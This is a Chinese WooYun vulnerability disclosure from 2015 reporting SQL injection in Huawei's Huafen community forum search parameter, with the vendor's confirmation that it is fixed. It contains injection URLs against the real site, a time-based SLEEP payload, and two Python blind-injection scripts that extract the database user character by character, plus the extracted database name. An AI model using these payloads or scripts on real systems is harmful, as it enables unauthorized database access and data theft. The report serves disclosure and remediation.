当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0149972

漏洞标题：华为花粉用户社区存在SQL注入漏洞

相关厂商：华为技术有限公司

漏洞作者： 猪猪侠

提交时间：2015-10-27 23:02

修复时间：2015-12-12 00:38

公开时间：2015-12-12 00:38

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-27： 细节已通知厂商并且等待厂商处理中
2015-10-28： 厂商已经确认，细节仅向厂商公开
2015-11-07： 细节向核心白帽子及相关领域专家公开
2015-11-17： 细节向普通白帽子公开
2015-11-27： 细节向实习白帽子公开
2015-12-12： 细节向公众公开

简要描述：

华为花粉社区存在SQL注入漏洞(1800万用户)

详细说明：

#1 注入地址
返回正常内容

http://club.huawei.com/plugin.php?sctime=0&page=3&srchtxt=%' AND 1=1 AND '%'='&action=search&sctype=0&id=auction


1.jpg


返回查询内容为空

http://club.huawei.com/plugin.php?sctime=0&page=3&srchtxt=%' AND 1=2 AND '%'='&action=search&sctype=0&id=auction


2.jpg

漏洞证明：

#2 利用方法，参照vip的sleep注入
WooYun: 唯品会www主站存在SQL注入漏洞
以5秒为指数

(SELECT * FROM (SELECT(SLEEP((ASCII(MID(LOWER(USER()),1,1))=114)*5)))ring)


#!/usr/bin/env python
# encoding: utf-8
# huawei_club.py 
# [email protected]
import requests
import time
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')
for i in range(1,20):
    for _str in payloads:
        start_time = time.time()
        url = "http://club.huawei.com/plugin.php?sctime=0&page=3&srchtxt=%' AND (SELECT * FROM (SELECT(SLEEP((ASCII(MID(LOWER(USER())," + str(i) + ",1))=" + str(ord(_str)) + ")*5)))ring) AND '%'='&action=search&sctype=0&id=auction"
        result = requests.get(url).text
        if(time.time() - start_time) > 3:
            print _str
            break


#exp2 由于使用sleep会把论坛搞死，采用第二种方法，判断返回页面大小
and 1=1 返回的page大小 > 30000
and 1=2 返回的page大小 < 30000

huawei.png


数据库用户名：[email protected]
数据库：emotionui
#使用返回网页大小判断EXPLOIT

#!/usr/bin/env python
# encoding: utf-8
# huawei_club.py 
# [email protected]
import requests
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')
for i in range(1,20):
    for _str in payloads:
        url = "http://club.huawei.com/plugin.php?sctime=0&page=3&srchtxt=%' AND ASCII(MID(LOWER(USER())," + str(i) + ",1))=" + str(ord(_str)) + " AND '%'='&action=search&sctype=0&id=auction"
        result = requests.get(url).text
        if len(result) > 30000:
            print _str
            break

修复方案：

# 搜索参数做转义或过滤

版权声明：转载请注明来源 猪猪侠@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-10-28 00:36

厂商回复：

感谢猪猪侠提醒，业务部门已进行修复。

最新状态：

暂无